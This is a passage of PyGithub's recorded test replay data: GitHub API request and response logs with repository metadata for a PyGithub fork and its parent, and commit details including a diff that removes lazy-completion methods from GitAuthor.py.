'W/"f17b549fb3d5c3dc2196e3e2aa8c668b810d51712948343415b7213d59164209"'), ('Last-Modified', 'Sat, 23 Nov 2024 18:31:09 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1735920624'), ('X-RateLimit-Used', '23'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'B7DE:59502:20E9FBCB:21CA106F:67780AC6')] {"id":446365735,"node_id":"R_kgDOGpsAJw","name":"PyGithub","full_name":"jacquev6/PyGithub","private":false,"owner":{"login":"jacquev6","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/jacquev6/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments","created_at":"2022-01-10T09:52:53Z","updated_at":"2024-11-23T18:31:09Z","pushed_at":"2025-01-03T15:45:54Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16938,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":2,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":15,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":2,"open_issues":15,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-03T05:23:15Z","pushed_at":"2024-12-19T12:01:11Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16425,"stargazers_count":7115,"watchers_count":7115,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":356,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":356,"watchers":7115,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-03T05:23:15Z","pushed_at":"2024-12-19T12:01:11Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16425,"stargazers_count":7115,"watchers_count":7115,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":356,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":356,"watchers":7115,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1793,"subscribers_count":0} https GET api.github.com None /repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 16:05:26 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0e8453c032d980643d8786bd25539c4163b92fe1080fffc442f42fcb63541cd7"'), ('Last-Modified', 'Wed, 09 May 2012 16:22:33 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4976'), ('X-RateLimit-Reset', '1735920624'), ('X-RateLimit-Used', '24'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'B7E4:4D504:21E6A61F:22C6BAA5:67780AC6')] {"sha":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","node_id":"MDY6Q29tbWl0NDQ2MzY1NzM1OjEyOTJiZjBlMjJjNzk2ZTkxY2MzZDZlMjRiNTQ0YWVjZThjMjFmMmE=","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2012-05-09T16:22:33Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2012-05-09T16:22:33Z"},"message":"Remove completion functions from GitAuthor","tree":{"sha":"4c6bd50994f0f9823f898b1c6c964ad7d4fa11ab","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/4c6bd50994f0f9823f898b1c6c964ad7d4fa11ab"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null,"verified_at":null}},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","html_url":"https://github.com/jacquev6/PyGithub/commit/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/comments","author":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"committer":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"parents":[{"sha":"b46ed0dfde5ad02d3b91eb54a41c5ed960710eae","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/b46ed0dfde5ad02d3b91eb54a41c5ed960710eae","html_url":"https://github.com/jacquev6/PyGithub/commit/b46ed0dfde5ad02d3b91eb54a41c5ed960710eae"}],"stats":{"total":20,"additions":0,"deletions":20},"files":[{"sha":"ca6a3c616fc1367b6d01d04a7cf6ee27cf216f26","filename":"github/GithubObjects/GitAuthor.py","status":"modified","additions":0,"deletions":20,"changes":20,"blob_url":"https://github.com/jacquev6/PyGithub/blob/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/github%2FGithubObjects%2FGitAuthor.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/github%2FGithubObjects%2FGitAuthor.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github%2FGithubObjects%2FGitAuthor.py?ref=1292bf0e22c796e91cc3d6e24b544aece8c21f2a","patch":"@@ -14,44 +14,24 @@ def __init__( self, requester, attributes, lazy ):\n self.__completed = False\n self.__initAttributes()\n self.__useAttributes( attributes )\n- if not lazy:\n- self.__complete()\n \n @property\n def date( self ):\n- self.__completeIfNeeded( self.__date )\n return self.__date\n \n @property\n def email( self ):\n- self.__completeIfNeeded( self.__email )\n return self.__email\n \n @property\n def name( self ):\n- self.__completeIfNeeded( self.__name )\n return self.__name\n \n def __initAttributes( self ):\n self.__date = None\n self.__email = None\n self.__name = None\n \n- def __completeIfNeeded( self, testedAttribute ):\n- if not self.__completed and testedAttribute is None:\n- self.__complete()\n-\n- # @todo Do not generate __complete if type has no url attribute\n- def __complete( self ):\n- status, headers, data = self.__requester.request(\n- \"GET\",\n- self.__url,\n- None,\n- None\n- )\n- self.__useAttributes( data )\n- self.__completed = True\n-\n def __useAttributes( self, attributes ):\n #@todo No need to check if attribute is in attributes when attribute is mandatory\n if \"date\" in attributes and attributes[ \"date\" ] is not None:"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Commit.testAttributes.txt0000644000175100001660000001567014756101563023205 0ustar00runnerdockerhttps GET api.github.com None /repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a?per_page=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 05 Apr 2024 12:24:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"da87e7c05666ad0fc39ed4ca3c27dcde63a172cf5d6e1fa42a85947a9277b320"'), ('Last-Modified', 'Wed, 09 May 2012 16:22:33 GMT'), ('X-OAuth-Scopes', 'admin:org, project, repo, workflow, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1712323495'), ('X-RateLimit-Used', '5'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8482:23E254:4A48AF2:4A968B7:660FED98')] {"sha":"1292bf0e22c796e91cc3d6e24b544aece8c21f2a","node_id":"MDY6Q29tbWl0MzU0NDQ5MDoxMjkyYmYwZTIyYzc5NmU5MWNjM2Q2ZTI0YjU0NGFlY2U4YzIxZjJh","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2012-05-09T16:22:33Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2012-05-09T16:22:33Z"},"message":"Remove completion functions from GitAuthor","tree":{"sha":"4c6bd50994f0f9823f898b1c6c964ad7d4fa11ab","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/4c6bd50994f0f9823f898b1c6c964ad7d4fa11ab"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","comment_count":9,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","html_url":"https://github.com/PyGithub/PyGithub/commit/1292bf0e22c796e91cc3d6e24b544aece8c21f2a","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/comments","author":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"committer":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"parents":[{"sha":"b46ed0dfde5ad02d3b91eb54a41c5ed960710eae","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/b46ed0dfde5ad02d3b91eb54a41c5ed960710eae","html_url":"https://github.com/PyGithub/PyGithub/commit/b46ed0dfde5ad02d3b91eb54a41c5ed960710eae"}],"stats":{"total":20,"additions":0,"deletions":20},"files":[{"sha":"ca6a3c616fc1367b6d01d04a7cf6ee27cf216f26","filename":"github/GithubObjects/GitAuthor.py","status":"modified","additions":0,"deletions":20,"changes":20,"blob_url":"https://github.com/PyGithub/PyGithub/blob/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/github%2FGithubObjects%2FGitAuthor.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/1292bf0e22c796e91cc3d6e24b544aece8c21f2a/github%2FGithubObjects%2FGitAuthor.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/github%2FGithubObjects%2FGitAuthor.py?ref=1292bf0e22c796e91cc3d6e24b544aece8c21f2a","patch":"@@ -14,44 +14,24 @@ def __init__( self, requester, attributes, lazy ):\n self.__completed = False\n self.__initAttributes()\n self.__useAttributes( attributes )\n- if not lazy:\n- self.__complete()\n \n @property\n def date( self ):\n- self.__completeIfNeeded( self.__date )\n return self.__date\n \n @property\n def email( self ):\n- self.__completeIfNeeded( self.__email )\n return self.__email\n \n @property\n def name( self ):\n- self.__completeIfNeeded( 